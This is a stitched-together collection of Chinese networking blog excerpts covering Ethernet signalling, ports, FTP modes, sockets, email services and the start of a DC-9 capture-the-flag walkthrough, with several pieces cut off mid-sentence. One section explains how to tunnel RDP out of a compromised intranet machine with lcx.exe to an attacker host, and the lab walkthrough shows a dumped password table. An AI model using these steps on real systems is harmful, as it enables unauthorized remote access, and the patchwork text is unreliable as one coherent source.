服务器端口

3.1信号在网线和集线器中的传输 3.2交换机的包转发 3.3路由器的包转发操作 3.4路由器的附加功能 3.1信号在网线和集线器中传输 3.1.1每个包都是独立传输的 客户端计算机连接的局域网结构如下图所示，要经过集线器，交换机和路由器最终进入互联网。 3.1.2防止网线中的信号衰减很重要 本章是从信号流出网卡进入网线开始，网卡中的PHY(MAU)模块负责将包转换成电信号，信号通过RJ-45接口进入双绞线。如下图右侧所示。 以太网信号的本质是正负变化的电压，网卡的PHY(MAU)模块就是一个从正负两个信号端子输出信号的电路。 网卡的PHY(MAU)模块直接连接在下图右侧中的RJ-45接口，信号从这个接口的1号和2号针脚流入网线，然后，信号会通过网线到达集线器的接口，这个过程就是单纯地传输电信号而已。 但是，信号到达集线器的时候并不是跟发出去的时候一摸一样，集线器收到的信号有时候会出现衰减，如下图所示。信号在网线的传输过程中能量会逐渐损失，网线越长，信号衰减就越严重。 以太网中的信号波形是方形的，但损失能量会让信号的拐角变圆，这是因为电信号的频率越高，能量的损失率越大。信号的拐角意味着电压发生剧烈的变化，而剧烈的变化意味着这部分的信号频率很高。高频信号更容易损失能量，因此本来剧烈变化的部分就会变成缓慢的变化，拐角也就变圆了。 如果已经衰减的信号再进一步失真就会出现对0和1的误判

复现过程 在提权过程中，我们经常碰到这样的情况，查询得知当前服务器存于内网中，所以无法通过mstsc来进行连接，那么这种情况下，我们就需要用到端口转发工具 lcx.exe 除此之外，还需要一台拥有 外网 IP 的主机。这里我们把内网的主机叫做肉鸡，独立 IP 主机叫做本机 将 lcx.exe 上传至 本机和肉鸡 之后，首先确定本机的 IP为119.90.140.191 一定要是外网ip 然后我们在本机执行： lcx.exe -listen 51 3388 。 这条命令的意思就是说，监听本机的 51 和 3388 端口，并将两个端口互相转发，端口 51 的入境流量发给端口 3388，反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口，为了避免与本机的远程连接服务冲突，选择了 3388。大家可以自行选择其他未占用端口。 然后我们在肉鸡上执行： lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389 意思就是监听本机（肉鸡）3389端口转发到119.90.140.191 端口51上 这条命令连接肉鸡的 3389 端口，和本机的 51 端口，并互相转发，之后，我们在本机或其他主机上使用远程连接客户端，连接119.90.140.191:3388（或者127.0.0.1:3388） 可以看到lcx

外网访问---->hosts文件映射服务名(127.0.0.1 xiaotian.cn)-->appache中httpd文件监听相关端口号(*:8080)--->appache中的vhost文件将相应的地址映射到服务器文件 本机做服务器，在浏览器中访问xiaotian.cn:8080的时候，hosts文件接收到了xiaotian.cn的访问，appache监听到服务器接收到了8080的端口访问（在这里捕获到访问），通过vhost映射到本地的代码文件，生成html返回。 疑问：1.外网怎么访问到我们的服务器，即我随意在其他pc上访问xiaotian.cn:8080的时候，可以知道访问的是我们的服务器 2.外网访问xiaotian.cn如何映射到xiaotian.cn:8080 3.是不是所有能访问到我服务器的服务名后带有端口8080的，都会被我的appache捕获，并且到vhosts文件中寻找映射 纯新手学习，有朋友知道的话，帮忙解答一下，先行谢过。自己本周周末也会持续学习关于网络访问这一块的知识，尽量解决自己的疑惑。 来源： https://www.cnblogs.com/xiaotianblog/p/9014223.html

在网络方面我们常常会用到如下命令： （1）ping命令 ：我们常常用来判断2台或2台以上的机器间是否网络连通。 ping 192.168.1.88 -t 如果想看任何命令的参数是什么意思，我们只需要：命令 /?就可以查看该命令的用法了。如下图： （2）ipconfig命令 ：往往是用来查看我们计算机的IP、网关、子网掩码、DNS等信息 ipconfig -all （3）netstat命令 ：查看本地计算机的TCP和UDP端口是否监听 netstat -a （4）telnet命令 ： 1)telnet提供对远程机器的终端服务,即本地机器作为远程的一个虚拟终端对远程机器进行操作。 2)检查远程机器或本地机器上某端口是否打开 下面演示监听www.baidu.com的80端口是否开启： telnet www.baidu.com 80 　　　　　　 回车后看到光标在不停闪烁，证明该端口是开的。 测试本机上的Telnet协议端口是否开启。测试截图如下 　　 以上证明还没有开启，我们需要“计算机”右键菜单中的“服务”，然后找到Telnet服务，开启该Telnet服务即可。 　　　 　 　 如果右键无法启动Telnet服务，出现错误1068，按以下方法解决： 右键Telnet——属性—— 依存关系 ，检查“此服务依赖以下系统组件”中的各个组件是否都已经启动，确保 所有组件 处于启动状态后

【若】 【1、端口】 端口可分为物理端口与逻辑端口。 所谓逻辑端口指的是计算机内部或交换机路由器内的端口，看不见，摸不着。 所谓物理端口，就是可见的端口，像：交换机路由器集线器、RJ11端口、RJ45端口等。 【无】 问：什么是RJ45端口，稍微科普一下呗？ 答：笔者也没搞明白RJ45、SFP、POE之间有啥联系和区别，总之就是一些网络接口，请看图： RJ45端口 SFP端口 POE端口 【羁】 问：你知道交换机、路由器、集线器之间的区别吗？ 答：笔者又没有搞的很透彻。 他们说：集线器工作在计算机网络物理层、交换机工作在数据链路层、路由器工作在网络层。 人家还说：外界网络先到路由器、再到交换机、再到集线器。路由器包含交换机和集线器的功能，交换机包含集线器的功能。还说一个路由器搞定，不需要下面的两个机器了。搞得交换机与集线器很受伤，像笔者一样为了喜欢的女孩不远千里却被人家所嫌弃嘲笑，落寞的离去。 【绊】 【逻辑端口】 1、端口范围：一个IP地址的端口从0-2^16-1，也就是0-65535个。 2、端口分类：TCP端口和UDP端口。 问：什么是TCP端口和UDP端口？ 答： TCP（Transmission Control Protocol，传输控制协议） 是基于连接的协议，也就是说，在正式收发数据前，必须和对方建立可靠的连接。 一个TCP连接必须要经过三次“对话”才能建立起来

在主动模式下，FTP客户端随机开启一个大于1024的端口N向服务器的21号端口发起连接，然后开放N+1号端口进行监听，并向服务器发出PORT N+1命令。服务器接收到命令后，会用其本地的FTP数据端口（通常是 20）来连接客户端指定的端口N+1，进行数据传输。 在被动模式下，FTP库户端随机开启一个大于1024的端口N向服务器的21号端口发起连接，同时会开启N+1号端口。然后向服务器发送PASV命令，通 知服务器自己处于被动模式。服务器收到命令后，会开放一个大于1024的端口P进行监听，然后用PORT P命令通知客户端，自己的数据端口是P。客户端收到命令后，会通过N+1号端口连接服务器的端口P，然后在两个端口之间进行数据传输。 总的来说，主动模式的FTP是指服务器主动连接客户端的数据端口，被动模式的FTP是指服务器被动地等待客户端连接自己的数据端口。 被动模式的FTP通常用在处于防火墙之后的FTP客户访问外界FTp服务器的情况，因为在这种情况下，防火墙通常配置为不允许外界访问防火墙之后主机，而 只允许由防火墙之后的主机发起的连接请求通过。因此，在这种情况下不能使用主动模式的FTP传输，而被动模式的FTP可以良好的工作。 来源： https://www.cnblogs.com/luckk/p/3829088.html

端口号 用途 备注 (0~1023) Well Known众所周知端口,由IANA控制 也是特权端口，这些端口只能root用户启用 (1024~49151) 不受IANA控制，但可由其登记方便他人 网络编程最好使用这一段 (49152~65535) 动态、私有端口，IANA不管理，称为临时端口 比如系统自动分配的端口 1 传输控制协议端口服务多路开关选择器 2 compressnet 管理实用程序 3 压缩进程 5 远程作业登录 7 回显(Echo) 9 丢弃 11 在线用户 13 时间 15 netstat 17 每日引用 18 消息发送协议 19 字符发生器 20 文件传输协议(默认数据口) FTP 21 文件传输协议(控制) FTP 22 SSH远程登录协议 23 telnet 终端仿真协议 24 预留给个人用邮件系统 25 smtp 简单邮件发送协议 27 NSW 用户系统现场工程师 29 MSG　ICP 31 MSG验证 33 显示支持协议 35 预留给个人打印机服务 37 时间 38 路由访问协议 39 资源定位协议 41 图形 42 WINS 主机名服务 43 "绰号" who is服务 44 MPM(消息处理模块)标志协议 45 消息处理模块 46 消息处理模块(默认发送口) 47 NI FTP 48 数码音频后台服务 49 TACACS登录主机协议 50

1、如何理解Socket 两台计算机相互通讯靠的就是Socket，类似于2个人通讯要靠电话，也就是说Socket就是程序之间的电话。Socket英文意思是孔、插座，作为进程通讯机制，取后一种意思，通常也成为套子节，用于描述IP地址和端口。IP地址指向某台服务器，端口用于连接到某一个应用程序。 socket在通讯过程中所处位置（作用）理解： 比如上图所示： 男生要到女生宿舍找自己女朋友出去玩，不能直接进入女生宿舍去找，要经过宿管大妈，由宿管大妈打电话告知你的女朋友，电话打通后你们之间再进行通话了。这里宿管大妈就是负责监听的Socket，如果有男生（客户端发送请求）来了就创建一个负责通信的socket（电话机），从而使该男生（客户端）与对应女生（服务端某应用程序）可以通信了。socket开始就是服务器端负责监听的（相当于宿管大妈），看有没有客户端发送请求到服务器端，有的话就创建一个负责通信的Socket。Socket接口是TCP/IP网络最为通用的API，也是在INTERNET上进行应用开发最为通用的API。 2、TCP协议和DUP协议 协议 ：类似于两个人打电话有一个默认协议就是都说普通话，如果大家都说家乡话，可能都听不懂，在网络中常用的协议有：UDP和TCP协议。 TCP/IP协议 ：Transmission Control Protocol/Internet Protocol

##邮件服务，在日常开发中或者公司办公中，比不可少的，是必用工具 一、 邮件服务器现状说明 邮件服务器，现状使用第三方的大部分都是收费的，并且费用都挺贵的。 公司要么自己搭建一个邮件服务器，没有任何账号数量或者空间大小显示。 阿里 万网免费邮件 ,免费版 50账号、5GB空间、2G共享网盘， 购买地址 阿里云企业邮箱 ，感觉非常贵。￥600/5帐号/年/空间不限、￥9500/100帐号/年 阿里云 邮件推送 ，个人理解是通过在线模板，通过制定的地址，向制定邮箱发送邮件通知信息。 么是邮件推送 DirectMail ,每天有 200 封免费发信额度,超过需要购买。 腾讯企业邮箱 ，免费版【必须通过 企业微信 】、不限邮箱账号，邮箱容量1G; ￥950/5帐号/年/空间不限、￥15000/100帐号/年 新浪企业邮箱 ，￥850/5帐号/年/空间不限、￥14000/100帐号/年。 结论：推荐使用 腾讯企业邮箱免费版 （不限有限个数，限制容量1G,必须使用企业微信）、 万网免费邮箱 (限制50个邮箱)，收费版自己根据价格和喜好购买把。 授权密码： 比如QQ邮箱、163邮箱，由于本身邮箱账号也是其他业务的登录账号，如果配置邮箱的时候泄露了，容易导致其他问题，因此出了一个授权密码的概念。 1. 邮件协议说明 邮件发送协议有：pop3、SMTP POP3: 是Post Office

前言 DC系列最后一个靶机，还是延续着之前的传统，中规中矩，却不失新意。正如作者所言 all things must come to an end 所有事情最终都会来到终点，但人生还要继续，带着美好回忆迎接下一次挑战。😃 知识点 knockd服务 /etc/passwd文件提权 详细过程 信息搜集 端口扫描,22端口阻塞 目录扫描 浏览网站很容易发现search页面存在sql注入 sqlmap注入成功，具体不再演示，拿到数据如下。 Table: UserDetails [17 entries] +-----------+------------+---------------+ | firstname | lastname | password | +-----------+------------+---------------+ | Mary | Moe | 3kfs86sfd | | Julie | Dooley | 468sfdfsd2 | | Fred | Flintstone | 4sfd87sfd1 | | Barney | Rubble | RocksOff | | Tom | Cat | TC&TheBoyz | | Jerry | Mouse | B8m#48sd | | Wilma | Flintstone | Pebbles | | Betty |